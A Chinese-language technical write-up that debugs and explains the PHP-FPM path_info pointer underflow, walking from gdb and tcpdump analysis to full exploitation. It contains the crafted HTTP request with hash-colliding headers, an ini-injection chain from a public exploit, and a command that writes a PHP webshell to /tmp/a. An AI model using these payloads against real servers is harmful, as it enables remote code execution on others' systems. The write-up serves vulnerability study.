配置php-fpm如下

[global]
error_log = /proc/self/fd/2
daemonize = no
[www]
access.log = /proc/self/fd/2
clear_env = no
listen = 127.0.0.1:9000
pm = dynamic
pm.max_children = 5
pm.start_servers = 1
pm.min_spare_servers = 1
pm.max_spare_servers = 1

将服务进程限制为1,方便调试

在页面中添加打印path_info

<?php
echo "hello world";

var_dump($_SERVER["PATH_INFO"]);

image-20201018041705106

此时,由于一级路径即为index.php path_info应为空,但却打印出了PATH_INFO

使用tcpdump抓取nginx与php-fpm通过fastcgi通讯的流量

tcpdump -i any tcp -X  port 9000

image-20201018042321079

三次握手后在数据包中可以看到传递的path_info为空

image-20201018042423525

判断修复只有一级路径的path时,确实存在过度回退path_info指针的异常

image-20201018040444313

gdb attach 32

image-20201018040523387

找到这个fcgi_accept_request函数调用点

image-20201018042944166

init_request_info时会进行路径修复,修改pathinfo

image-20201018043435556

在1127行后找到相关逻辑

image-20201018043233508

image-20201018044241863

image-20201018044519342

pilen为0,slen为10,则env_path_info前移slen的长度,之后,在path_info中临时置零该位置。

即我们可以在这个位置获得一个临时的,前向越界写零操作

由于这个零很快就被改回old值,我们要想利用这个写零操作,最大的可能性就是在其间的两个fcgi操作中找到利用方式

FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name);

FCGI_PUTENV(request, "SCRIPT_NAME", env_path_info);

在fastcgi.h中找到相应宏定义

image-20201018045441850

image-20201018045502074

在gdb中

directory /usr/src/php

关联源码

在path info关键处 下断 b /usr/src/php/sapi/fpm/fpm/fpm_main.c:1220

再次发包,停在断点

image-20201018051631604

image-20201018051732798

image-20201018051957030

image-20201018051805954

查看源码结合调试理解fastcgi变量的存放模式,由一块一块的结构体存在在一个连续空间上,由hash_buckets数组存储了每个全局变量的hash_bucket, *(*fcgi_hash)request.env.hash_table 存储了变量对应bucket的哈希表

typedef struct _fcgi_hash {
    fcgi_hash_bucket  *hash_table[FCGI_HASH_TABLE_SIZE];
    fcgi_hash_bucket  *list;
    fcgi_hash_buckets *buckets;
    fcgi_data_seg     *data;
} fcgi_hash;

(_fcgi_hash_bucket)变量对应的bucket存储了变量的名称、长度与数据地址

typedef struct _fcgi_hash_bucket {
    unsigned int              hash_value;
    unsigned int              var_len;
    char                     *var;
    unsigned int              val_len;
    char                     *val;
    struct _fcgi_hash_bucket *next;
    struct _fcgi_hash_bucket *list_next;
} fcgi_hash_bucket;

*(_fcgi_hash_bucket*)request.env.buckets.data 这个数组里面存储每个全局变量的对应的 fcgi_hash_bucket 结构

typedef struct _fcgi_hash_buckets {
    unsigned int               idx;
    struct _fcgi_hash_buckets *next;
    struct _fcgi_hash_bucket   data[FCGI_HASH_TABLE_SIZE];
} fcgi_hash_buckets;

*(_fcgi_data_seg*)request.env.data对应

typedef struct _fcgi_data_seg {
    char                  *pos;
    char                  *end;
    struct _fcgi_data_seg *next;
    char                   data[1];
} fcgi_data_seg;

data存储变长字符串,pos指向未使用字符空间

static inline char* fcgi_hash_strndup(fcgi_hash *h, char *str, unsigned int str_len)
{
    char *ret;

    if (UNEXPECTED(h->data->pos + str_len + 1 >= h->data->end)) { //FCGI_HASH_SEG_SIZE =  4096 
        unsigned int seg_size = (str_len + 1 > FCGI_HASH_SEG_SIZE) ? str_len + 1 : FCGI_HASH_SEG_SIZE;
        fcgi_data_seg *p = (fcgi_data_seg*)malloc(sizeof(fcgi_data_seg) - 1 + seg_size);

        p->pos = p->data;
        p->end = p->pos + seg_size;
        p->next = h->data;
        h->data = p;
    }
    ret = h->data->pos;
    memcpy(ret, str, str_len);
    ret[str_len] = 0;
    h->data->pos += str_len + 1; 
    return ret;
}

在变量注册时通过malloc分配data空间并初始化

由于path info是全局变量,env_path_info必然是指向request.env.data某处

image-20201018055332165

image-20201018055355481

因此,我们的前向任意写零可以写在pos的低位

从而在注册全局变量时控制memcpy的写入位置,继而覆写污染一些全局变量

但是此处env_path_info与pos的偏移不是固定了,在远程未知

由于结构体的对其,低位偏移固定34,需要一个办法控制path的位置与pos稳定

一个巧妙的风水办法即使得fastcgi重新分配path_info变量的空间,使其处于request.env.data顶部,这样偏移就固定了

让fastcgi不得不重新分配变量的方法就是输入一个长PATH_INFO,使存储PATH_INFO变量的空间耗尽从而,从而触发新的分配,path_info就存储在新chunk首了

构造/PHP%0Ais_the_shittiest_lang.php 共30字节,若刚好空间耗尽,malloc发生,则成功修改pos第五字节,使其pos变为一个非法地址,导致崩溃,返回404

通过一下payload修改Q的填充个数,爆破出正确的Q个数(path_info长度)

GET /index.php/PHP%0Ais_the_shittiest_lang.php?QQQQQQQQ...... HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0
D-Pisos: 8=D
Ebut: mamku tvoyu

image-20201018061217176

第一次返回404时停止

同时gdb attach的进程崩溃,fpm自动重启了新进程(740)

image-20201018062259001

b /usr/src/php/sapi/fpm/fpm/fpm_main.c:1223
p *(fcgi_data_seg *)request.env.data

重新尝试payload可以看到pos第五字节位置零

image-20201018063916785

将path继续扩充4个字节,修改pos的低字节

控制了pos低字节接下来只要就只需考虑如何污染变量了

首先考虑PHP_VALUE,但全局变量没有PHP_VALUE变量,

但变量查找是通过hashtable的,只要伪造一个hash与PHP_VALUE相同的变量,读取PHP_VALUE就可能读取到伪造的变量上

爆破算出HTTP_EBUT与PHP_VALUE hash相同

image-20201018070318354

通过增加D-Pisos字段长度来调节EBUT的相对偏移

image-20201018070558667

得到正确’=‘个数,respond见到set-cookie

代表PHP-VALUE被成功覆盖了,那么就可以很容易获取shell了

查看exp,使用了这样一条利用链,https://github.com/neex/phuip-fpizdam

var chain = []string{
	"short_open_tag=1",
	"html_errors=0",
	"include_path=/tmp",
	"auto_prepend_file=a",
	"log_errors=1",
	"error_reporting=2",
	"error_log=/tmp/a",
	"extension_dir=\"<?=`\"",
	"extension=\"$_GET[a]`?>\"",
}

const (
	checkCommand   = `a=/bin/sh+-c+'which+which'&` // must not contain any chars that are encoded (except space)
	successPattern = "/bin/which"
	cleanupCommand = ";echo '<?php echo `$_GET[a]`;return;?>'>/tmp/a;which which"
)

通过log写入shell到/tmp/a

auto prepend附加到全局

即可使靶机执行任意php页面传入的a参数

使用该exp完整利用

image-20201018074035298

image-20201018074259704

至此,我们从发现一个异常输出,找到对应的指针移动越界以及伴随的单字节写零能力,一步步利用,最终获得webshell